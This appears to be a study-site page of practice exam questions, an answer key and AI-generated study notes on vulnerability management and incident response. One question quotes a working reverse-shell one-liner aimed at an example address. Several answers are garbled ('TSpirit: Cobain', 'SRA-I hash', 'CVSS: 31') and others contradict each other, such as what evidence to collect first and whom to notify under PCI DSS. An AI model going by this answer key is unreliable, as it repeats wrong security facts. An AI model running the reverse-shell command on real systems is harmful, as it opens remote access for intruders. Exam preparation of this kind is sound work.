Cybersecurity Vulnerability Management
79 Questions
0 Views

Choose a study mode

Play Quiz
Study Flashcards
Spaced Repetition
Chat to lesson

Podcast

Play an AI-generated podcast conversation about this lesson

Questions and Answers

Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?

  • Include references and sources of information on the first page
  • Include a table of contents outlining the entire report
  • Determine the sophistication of the audience that the report is meant for (correct)
  • Decide on the color scheme that will effectively communicate the metrics

    • Which action would allow a security analyst to gather intelligence without disclosing information to the attackers?

  • Execute the binaries on an environment with internet connectivity
  • Upload the binary to an air-gapped sandbox for analysis (correct)
  • Send the binaries to the antivirus vendor
  • Query the file hashes using VirusTotal

    • Which of the following would help to minimize human engagement and aid in process improvement in security operations?

  • OSSTMM
  • SOAR (correct)
  • SIEM
  • QVVASP

    • Which risk management principle did the CISO use when refusing a software request due to high risk score?

    <p>Avoid</p> Signup and view all the answers

    What important aspect should be included in the lessons-learned step after an incident?

    <p>Identify any improvements or changes in the incident response plan or procedures</p> Signup and view all the answers

    What will best achieve the goal of consolidating several threat intelligence feeds due to redundant tools and portals?

    <p>Single pane of glass</p> Signup and view all the answers

    Which tool would a security analyst most likely use to compare TTPs (Tactics, Techniques, and Procedures) between different known adversaries of an organization?

    <p>MITRE ATT&amp;CK</p> Signup and view all the answers

    Which step of the process describes isolating and actively removing a vulnerability from the system?

    <p>Eradication</p> Signup and view all the answers

    What is the best action for the incident response team to recommend when a sales person has announced intentions to start a competing business?

    <p>Perform no action until HR or legal counsel advises on next steps</p> Signup and view all the answers

    What is the best priority for the IT security team to focus on based on common attack frameworks?

    <p>Reduce the administrator and privileged access accounts</p> Signup and view all the answers

    What action should an analyst take first when investigating a recent security incident with a compromised server?

    <p>Clone the virtual server for forensic analysis</p> Signup and view all the answers

    What is the most likely explanation for a server making regular outgoing HTTPS connections after hours?

    <p>C2 beaconing activity</p> Signup and view all the answers

    What is the best recommendation for a SOC manager to ensure new employees follow company policy regarding personal devices?

    <p>All new employees must sign a user agreement to acknowledge the company security policy</p> Signup and view all the answers

    What is the best threat intelligence source to learn about a new ransomware campaign targeting critical supply chain manufacturers?

    <p>Information sharing organization</p> Signup and view all the answers

    Why should lessons learned be included in the after-action report following a significant security incident?

    <p>To identify areas of improvement in the incident response process</p> Signup and view all the answers

    Which vulnerabilities should a vulnerability management team patch first according to a third-party scoring system?

    <p>TSpirit: Cobain: Yes, Grohl: Yes, Novo: Yes, Smear: No, Channing: No</p> Signup and view all the answers

    What has a user become after downloading malware that infects other systems?

    <p>Insider threat</p> Signup and view all the answers

    After isolating a compromised server, what should the CSIRT conduct next?

    <p>Take a snapshot of the compromised server and verify its integrity</p> Signup and view all the answers

    What must be collected first in a computer system to preserve evidence during an incident?

    <p>Running processes</p> Signup and view all the answers

    Which shell script function could help identify possible network addresses from different source networks in the same company and region?

    <p>function x() { b=$(traceroute -m 40 $1 | awk 'END{print $1}') &amp;&amp; echo '$1 | $b' }</p> Signup and view all the answers

    Which function would help a security analyst identify IP addresses from the same country?

    <p>function x() { info=$(geoiplookup $1) &amp;&amp; echo '$1 | $info' }</p> Signup and view all the answers

    What should be completed first to remediate findings from a recent vulnerability assessment conducted against a web server?

    <p>Perform proper sanitization on all fields</p> Signup and view all the answers

    What most likely describes the vulnerability identified in the debugger command output over a client-server application?

    <p>Lack of input validation</p> Signup and view all the answers

    Which of the following CVE metrics would be most accurate for this zero-day threat?

    <p>CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: H/A: L</p> Signup and view all the answers

    Which of the following tools would work best to prevent the exposure of PII outside of an organization?

    <p>DLP</p> Signup and view all the answers

    What best practice should the company follow for a proxy with high CVE score patches but is not being used?

    <p>Decommission the proxy</p> Signup and view all the answers

    Which log entry provides evidence of an attempted zero-day command injection exploit?

    <p>Log entry 1</p> Signup and view all the answers

    Which of the following tuning recommendations should the security analyst share?

    <p>Configure an Access-Control-Allow-Origin header to authorized domains</p> Signup and view all the answers

    Which of the following items should be included in a vulnerability scan report? (Choose two.)

    <p>Affected hosts</p> Signup and view all the answers

    What is the most important factor to ensure accurate incident response reporting?

    <p>A well-defined timeline of the events</p> Signup and view all the answers

    What is the best mitigation technique when noticing unusual network scanning activity from a foreign country?

    <p>Geoblock the offending source country</p> Signup and view all the answers

    Which of the following would best protect this organization given recent industry attacks?

    <p>A mean time to remediate of 30 days</p> Signup and view all the answers

    What is the best step to preserve evidence when an employee is suspected of misusing a company-issued laptop?

    <p>Make a forensic image of the device and create a SRA-I hash</p> Signup and view all the answers

    Given the following script, which of the following scripting languages was used?

    <p>Shell script</p> Signup and view all the answers

    Which system should the security analyst prioritize for remediation based on vulnerability exploit data?

    <p>brady</p> Signup and view all the answers

    Which of the following most likely describes the observed activity regarding access issues?

    <p>An on-path attack is being performed by someone with internal access that forces users into port 80</p> Signup and view all the answers

    What vulnerability type is the analyst validating from the reported web application vulnerability scan?

    <p>XSS</p> Signup and view all the answers

    Which of the following items should be included in a vulnerability scan report? (Choose two.)

    <p>Affected hosts</p> Signup and view all the answers

    Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

    <p>Business continuity plan</p> Signup and view all the answers

    What immediate action should be performed when a web server at the perimeter network is affected by ransomware?

    <p>Quarantine the server</p> Signup and view all the answers

    Which of the following solutions will assist in reducing the risk of shadow IT?

    <p>Deploy a CASB and enable policy enforcement</p> Signup and view all the answers

    What is missing from a vulnerability scan performed with specified configurations?

    <p>Registry key values</p> Signup and view all the answers

    Which of the following logs should the incident response team review first in the case of a DDoS attack?

    <p>DNS</p> Signup and view all the answers

    What method should be used to resolve incomplete findings in vulnerability reports?

    <p>Credentialed scan</p> Signup and view all the answers

    Which stage of the Cyber Kill Chain is the actor currently in after gaining access through social engineering?

    <p>Delivery</p> Signup and view all the answers

    What best describes the activity of consistent requests from an internal host to a blocklisted external server?

    <p>Data exfiltration</p> Signup and view all the answers

    What best describes the output of a network mapping tool for a PCI audit?

    <p>The host is allowing insecure cipher suites</p> Signup and view all the answers

    Which of the following steps of an attack framework is the analyst witnessing with an external IP scanning network assets?

    <p>Reconnaissance</p> Signup and view all the answers

    Which of the following best describes the emails targeting company administrators?

    <p>Social engineering attack</p> Signup and view all the answers

    Which of the following recommendations would best mitigate recurring vulnerabilities in a critical application?

    <p>Use application security scanning as part of the pipeline for the CI/CD flow</p> Signup and view all the answers

    Which of the following inhibitors to remediation do systems that cannot be upgraded due to vendor restrictions best represent?

    <p>Proprietary systems</p> Signup and view all the answers

    Which of the following most accurately describes the result of an Nmap scan for XSS?

    <p>The vulnerable parameter and characters '&gt;' and '&quot;' with a reflected XSS attempt</p> Signup and view all the answers

    Which action should be taken after the conclusion of a security incident to improve future responses?

    <p>Schedule a review with all teams to discuss what occurred</p> Signup and view all the answers

    Which technique is best for analyzing a malicious binary?

    <p>Reverse engineering</p> Signup and view all the answers

    Which piece of data should be collected first to preserve sensitive information before isolating a server with IoCs?

    <p>Hard disk</p> Signup and view all the answers

    Which of the following security operations tasks are ideal for automation?

    <p>Firewall IoC block actions: Examine the firewall logs for IoCs from a zero-day exploit.</p> Signup and view all the answers

    Under PCI DSS, which group should be informed about a breach of customer transactions?

    <p>Card issuer</p> Signup and view all the answers

    Which of the following metrics should an organization focus on after investing in SIEM, SOAR, and a ticketing system?

    <p>Mean time to detect</p> Signup and view all the answers

    Which of the following implications should be considered when moving to a hybrid IaaS environment?

    <p>Cloud-specific misconfigurations may not be detected by the current scanners</p> Signup and view all the answers

    Which is the best way to ensure that an investigation complies with HR or privacy policies?

    <p>Ensure that the case details do not reflect any user-identifiable information</p> Signup and view all the answers

    Which of the following should be performed first when establishing a disaster recovery plan?

    <p>Agree on the goals and objectives of the plan</p> Signup and view all the answers

    Which of the following should be the next step in the remediation process after applying a software patch?

    <p>Validation</p> Signup and view all the answers

    Which of the following has occurred given the endpoint log entry?

    <p>New account introduced</p> Signup and view all the answers

    Which best describes the security program achieving a 30% improvement in MTTR?

    <p>Single pane of glass</p> Signup and view all the answers

    Which device should the analyst look at first from the Nmap scan results?

    <p>p4wnp1_aloa.lan (192.168.86.56)</p> Signup and view all the answers

    What must be done first when starting an investigation?

    <p>Secure the scene</p> Signup and view all the answers

    Which describes how a CSIRT lead determines communication during a security incident?

    <p>The lead should review what is documented in the incident response policy or plan</p> Signup and view all the answers

    Which of the following will produce the data needed for an executive briefing on possible threats?

    <p>Risk assessment</p> Signup and view all the answers

    Which describes the analyst's observation of an internal device sending suspicious HTTPS traffic?

    <p>Beaconing</p> Signup and view all the answers

    What can the analyst perform in Wireshark to see the entire contents of the downloaded files?

    <p>Change the display filter to ftp-data and follow the TCP streams</p> Signup and view all the answers

    What document should the SOC manager review to ensure compliance with contractual obligations for the customer?

    <p>SLA</p> Signup and view all the answers

    Which phase of the Cyber Kill Chain involves the adversary attempting to establish communication with a compromised target?

    <p>Command and control</p> Signup and view all the answers

    Which vulnerability scanning method best meets the needs of a geographically diverse workforce?

    <p>Agent-based</p> Signup and view all the answers

    What is being attempted with the command 'sh -i >& /dev/udp/10.1.1.1/4821 0>&1'?

    <p>Reverse shell</p> Signup and view all the answers

    What factor would most likely communicate the reason for the escalation of a CVE score?

    <p>Weaponization</p> Signup and view all the answers

    Which system should be prioritized for patching first according to a vulnerability report?

    <p>54.74.110.26</p> Signup and view all the answers

    Which scanning method can be implemented to reduce access to systems while providing accurate vulnerability results?

    <p>Credentialed network scanning</p> Signup and view all the answers

    Which function can the analyst use on a shell script to identify network routing anomalies?

    <p>function x() { info= (traceroute -m 40 $1 | awk 'END{print $1}') &amp;&amp; echo &quot;$1 | $info&quot; }</p> Signup and view all the answers

    What security control would best support the company against sensitive information disclosure via file sharing services?

    <p>Data Loss Prevention (DLP)</p> Signup and view all the answers

    Study Notes

    Vulnerability Management & Security Metrics

    • Recent zero-day vulnerabilities are exploited without user interaction and have high confidentiality and integrity impact, suggesting immediate patching is necessary.
    • CVE metrics for zero-day threats involve assessing Exploitability, Access Complexity, and the need for user interaction.
    • Vulnerability scan reports should include affected hosts and risk scores to prioritize remediation efforts.

    Tools & Strategies to Protect Sensitive Data

    • Data Loss Prevention (DLP) tools effectively prevent exposure of Personally Identifiable Information (PII) outside an organization.
    • Implementing a CASB (Cloud Access Security Broker) helps reduce shadow IT and manage risks associated with unauthorized cloud applications.

    Incident Response & Investigation

    • Identify the security incident’s cause through logs like CDN, DNS, or web server entries in case of a DDoS attack.
    • The Cyber Kill Chain’s stages, such as exploitation and command and control, help understand the attacker's strategy in infiltration scenarios.
    • Critical actions post-incident include reviewing processes and capturing data such as the primary boot partition for evidence preservation.

    Security Policies & Compliance

    • Organizations must report breaches under PCI DSS to the PCI Security Standards Council and relevant law enforcement bodies.
    • Security operations should be underpinned by service-level agreements (SLAs) to ensure timely response and contractual obligations are met.

    Vulnerability Scanning Techniques

    • Agent-based scanning is preferred in hybrid environments to reduce network traffic and improve scanning efficiency.
    • Credentialed scanning offers more accurate results while accessing sensitive systems with minimal exposure.

    Risk Management & Decision Making

    • Risk management principles include avoiding high-risk software deployments where necessary.
    • The decision-making process during security incidents often refers to established policies for effective communication and actions required.

    Human Engagement & Process Improvement

    • Security tools like SOAR (Security Orchestration, Automation, and Response) minimize manual engagement, enabling quicker and more efficient responses.
    • Continuous training and awareness for employees improve the organization’s security posture against data leaks.

    Analyzing Malicious Activity

    • Reverse shell attempts and other exploit mechanisms require meticulous analysis of endpoint logs to detect potential breaches.
    • Use proper scanning and analysis techniques to understand traffic anomalies, enhance security posture, and identify vulnerabilities early.

    Lessons Learned from Incidents

    • Post-incident reviews are crucial for improving defenses, involving multi-team discussions to analyze what transpired and how processes can be enhanced.
    • Relevant documentation of the incident can serve as valuable training material moving forward to prevent similar occurrences.### Incident Response and Security Measures
    • Incident response plans must be updated after incidents, analyzing if internal mistakes occurred and who was responsible.
    • Legal evidence gathered during incidents should be presented to law enforcement to assist investigations.
    • Financial evaluations of incidents help determine the effectiveness of security controls in place.

    Threat Intelligence and Analysis

    • Consolidating threat intelligence feeds can be achieved using a "single pane of glass," which provides a unified view.
    • Security analysts often use frameworks like MITRE ATT&CK to compare tactics, techniques, and procedures (TTPs) of known adversaries.
    • Understanding potential risks from new threats requires consulting specialized threat intelligence sources, particularly for critical infrastructure, such as aerospace manufacturing.

    Incident Management and Remediation

    • The process of isolating and removing vulnerabilities is identified as "eradication."
    • Best practices for employee incidents include consulting HR or legal before taking action against employees suspected of wrongdoing.
    • A zero-trust approach emphasizes reducing privileged accounts to minimize attack surfaces.

    Forensic Analysis and Evidence Collection

    • In incident response, evidence collection must prioritize volatile data, starting with running processes before stabilizing disk contents.
    • For compromised systems, taking snapshots for forensic purposes should be conducted post-isolation from the network.

    Vulnerability Management

    • High CVE scores (e.g., 9.8) signal urgent vulnerabilities needing immediate action; often best to decommission unused systems to prevent risk.
    • Credentialed scans improve the comprehensiveness of vulnerability assessments, capturing what external scans miss.

    Security Best Practices

    • Employees should formally acknowledge security policies to prevent policy violations, such as using unauthorized devices.
    • Geoblocking or blocking specific IP addresses is an effective mitigation for suspicious scanning activities emanating from regions without business relations.
    • During a ransomware attack, quick actions include quarantining the affected server to limit the spread of the malware.

    Analyzing Security Incidents

    • SIEM logs revealing consistent internal requests to a blocklisted server can indicate data exfiltration or rogue device activity.
    • Vulnerability scanning that is improperly configured may miss important aspects, such as operating system versions or open ports.

    Miscellaneous

    • Logs indicating potential vulnerabilities like command injection should be thoroughly analyzed to gauge susceptibility.
    • In cases of employee misconduct, a forensic image of devices is critical for preserving evidence during investigations.

    Technical Considerations

    • Script functions can aid analysts in identifying IP addresses and network behaviors, enhancing threat response and network monitoring.
    • Analysts must prioritize vulnerabilities based on potential exploitation, directing remediation efforts where they are most critical.

    This expansive view covers essential themes regarding incident response, threat analysis, vulnerability management, and general security practices.

    Studying That Suits You

    Use AI to generate personalized quizzes and flashcards to suit your learning preferences.

    Quiz Team

    Related Documents

    Questions1-155.docx

    Description

    This quiz covers key concepts in vulnerability management and security metrics, focusing on zero-day vulnerabilities and the importance of immediate patching. It also explores tools for protecting sensitive data, such as DLP and CASB, and highlights incident response strategies. Test your knowledge on the essentials of maintaining cybersecurity in organizations.

    More Like This

    Vulnerability Management
    9 questions

    Vulnerability Management

    Quizgecko avatar
    Quizgecko
    Vulnerability Management and Remediation Quiz
    4 questions

    Vulnerability Management and Remediation Quiz

    ThrilledEpic avatar
    ThrilledEpic
    Vulnerability Management
    6 questions

    Vulnerability Management

    IlluminatingTabla avatar
    IlluminatingTabla
    Vulnerability Management Policy Overview
    21 questions

    Vulnerability Management Policy Overview

    SupportiveCadmium avatar
    SupportiveCadmium
    Use Quizgecko on...
    Browser
    Open
    Browser
    Browser